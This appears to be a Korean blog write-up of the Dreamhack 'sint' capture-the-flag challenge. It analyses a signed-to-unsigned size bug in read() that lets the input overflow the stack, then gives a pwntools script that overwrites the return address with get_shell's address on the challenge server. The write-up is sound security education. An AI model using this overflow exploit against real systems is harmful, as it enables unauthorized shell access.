문제 풀이 환경 : 구름ide
1. 문제 파일 다운, 환경 분석
$ chmod +x sint
로 실행 권한을 부여했다.
environment
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
문제에 환경이 주어져 있다.
32비트 시스템에 NX와 partial RERLO가 적용되어 있다.
2. 코드 분석, 취약점 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() // 쉘 실행
{
system("/bin/sh");
}
int main()
{
char buf[256]; //256바이트 크기의 buf 선언
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0) //size가 256보다 크거나 0보다 작으면 프로그램 종료
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1); //size - 1만큼 입력 받아서 buf에 저장
return 0;
}
위의 코드에서 size를 0으로 설정하면 read의 인자로 -1이 들어가게 된다.
ssize_t read(int fd, void *buf, size_t count);
read 함수의 세 번째 인자는 위에서 볼 수 있듯 size_t(부호 없는 정수형)로 정의되어 있으므로 -1이 입력되면 매우 큰 수로 해석된다.
(이해가 되지 않는다면 음수를 표현하는 방식인 2의 보수에 대하여 먼저 공부해야 된다.)
그렇다면 read에 buf 크기 이상의 입력을 전달하여 buffer overflow를 일으킬 수 있을 것이다.
canary가 적용되어 있지 않기 때문에 return adress를 쉽게 덮을 수 있다.
PIE가 적용되어 있지 않기 때문에 get_shell 함수의 주소를 쉽게 찾을 수 있다.
정리해보면, size에 0을 입력하여 buf overflow를 발생시켜 return adress에 get_shell 함수의 주소를 넣어주면 쉘을 실행할 수 있다.
3. 스택 프레임 분석
0x080486df <+115>: add esp,0x4
0x080486e2 <+118>: mov eax,DWORD PTR [ebp-0x104]
0x080486e8 <+124>: sub eax,0x1
0x080486eb <+127>: push eax
0x080486ec <+128>: lea eax,[ebp-0x100]
0x080486f2 <+134>: push eax
0x080486f3 <+135>: push 0x0
0x080486f5 <+137>: call 0x8048450 <read@plt>
pwndbg> disass main
으로 main을 disassemble 해서 buf가 인자로 전달되는 read 함수의 위를 확인해보면,ebp-0x104
가 buf의 주소임을 알 수 있다.
buf (ebp-0x104 ~ ) | sfp(4바이트) | return adress
스택 프레임은 위와 같은 형태일 것이다.
4. get_shell 주소
pwndbg> info func get_shell
All functions matching regular expression "get_shell":
Non-debugging symbols:
0x08048659 get_shell
get_shell의 주소는 0x08048659
이다.
5. 코드 작성
from pwn import *
context.arch = 'i386'
p = remote('host3.dreamhack.games', 24155)
p.sendlineafter(': ',str(0).encode()) # size에 0 입력
get_shell = 0x08048659
payload = b'A'*0x108 # buf(ebp-0x104) + sfp(0x4)만큼 A로 채우고,
payload += p64(get_shell) # return adress에 get_shell 주소 전달
p.sendafter(': ', payload)
p.interactive()
위의 코드로 쉘을 획득했다.
'system hacking' 카테고리의 다른 글
드림핵 cmd_center 문제 풀이 (0) | 2024.07.25 |
---|---|
드림핵 tcache_dup2 문제 풀이 (2) | 2024.07.23 |
드림핵 tcache_dup 문제 풀이 (3) | 2024.07.22 |
드림핵 basic_exploitation_003 문제풀이 (0) | 2024.07.16 |
드림핵 basic_exploitation_002 문제 풀이 (2) | 2024.07.15 |